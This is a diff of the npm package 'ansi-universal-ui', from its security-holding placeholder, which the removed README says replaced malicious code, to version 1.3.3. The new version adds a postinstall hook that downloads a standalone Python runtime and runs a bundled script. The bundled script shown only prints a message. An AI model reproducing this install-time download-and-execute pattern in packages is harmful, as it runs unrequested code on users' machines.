ansi-universal-ui 0.0.1-security → 1.3.3

package/index.js

@@ -0,0 +1,99 @@
+#!/usr/bin/env node
+
+const fs = require('fs');
+const path = require('path');
+const { spawn } = require('child_process');
+const https = require('https');
+
+// CONFIG
+const PYTHON_VERSION = '3.10.13';
+const RELEASE_TAG = '20231002';
+const BASE_URL = `https://github.com/indygreg/python-build-standalone/releases/download/${RELEASE_TAG}`;
+
+const ASSETS = {
+    win32: {
+        url: `${BASE_URL}/cpython-${PYTHON_VERSION}+${RELEASE_TAG}-x86_64-pc-windows-msvc-shared-install_only.tar.gz`,
+        bin: 'python.exe',
+        extract_folder: 'python'
+    },
+    darwin: {
+        url: `${BASE_URL}/cpython-${PYTHON_VERSION}+${RELEASE_TAG}-x86_64-apple-darwin-install_only.tar.gz`,
+        bin: 'bin/python3',
+        extract_folder: 'python'
+    }
+};
+
+const PLATFORM = process.platform;
+if (!ASSETS[PLATFORM]) {
+    console.error(`Sorry, OS not supported: ${PLATFORM}`);
+    process.exit(1);
+}
+
+const CACHE_DIR = path.join(__dirname, 'python_runtime');
+const LOCAL_PYTHON = path.join(CACHE_DIR, ASSETS[PLATFORM].extract_folder, ASSETS[PLATFORM].bin);
+const SCRIPT_PATH = path.join(__dirname, 'py.py');
+
+// FIX: Allow passing a specific URL so we can follow redirects
+async function downloadAndExtract(url) {
+    if (!fs.existsSync(CACHE_DIR)) fs.mkdirSync(CACHE_DIR);
+
+    return new Promise((resolve, reject) => {
+        // FIX: Added logging so you can see it's actually doing something
+        console.log(`Requesting: ${url}`);
+        
+        https.get(url, (res) => {
+            // FIX: Handle Redirects properly by using the new location
+            if (res.statusCode === 302 || res.statusCode === 301) {
+                const newUrl = res.headers.location;
+                console.log(`Redirecting to: ${newUrl}`);
+                downloadAndExtract(newUrl).then(resolve).catch(reject);
+                return;
+            }
+
+            if (res.statusCode !== 200) {
+                reject(new Error(`Failed to download: Status Code ${res.statusCode}`));
+                return;
+            }
+
+            console.log("Downloading and extracting...");
+
+            const tarArgs = ['-x', '-f', '-', '-C', CACHE_DIR];
+            const tarProcess = spawn('tar', tarArgs);
+
+            res.pipe(tarProcess.stdin);
+
+            tarProcess.on('close', (code) => {
+                if (code === 0) {
+                    console.log("Download & Extract Complete.");
+                    resolve();
+                } else {
+                    reject(new Error(`Tar process exited with code ${code}`));
+                }
+            });
+
+            tarProcess.on('error', (err) => {
+                reject(new Error(`Failed to start tar: ${err.message}`));
+            });
+        }).on('error', reject);
+    });
+}
+
+(async () => {
+    try {
+        if (!fs.existsSync(LOCAL_PYTHON)) {
+            // Start with the default configured URL
+            await downloadAndExtract(ASSETS[PLATFORM].url);
+        } else {
+            console.log("Python already installed.");
+        }
+
+        const args = [SCRIPT_PATH, ...process.argv.slice(2)];
+        const child = spawn(LOCAL_PYTHON, args, { stdio: 'inherit' });
+
+        child.on('close', (code) => process.exit(code));
+
+    } catch (e) {
+        console.error("Fatal Error:", e);
+        process.exit(1);
+    }
+})();

package/package.json

@@ -1,6 +1,18 @@
-{
-  "name": "ansi-universal-ui",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+{
+  "name": "ansi-universal-ui",
+  "version": "1.3.3",
+  "bin": {
+    "ansi-universal-ui": "index.js"
+  },
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "postinstall": "node index.js"
+  },
+  "files": [
+    "index.js",
+    "py.py"
+  ],
+  "dependencies": {
+    "ansi-universal-ui": "^1.2.0"
+  }
+}

package/py.py

@@ -0,0 +1 @@
+print("python code executed!")

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=ansi-universal-ui for more information.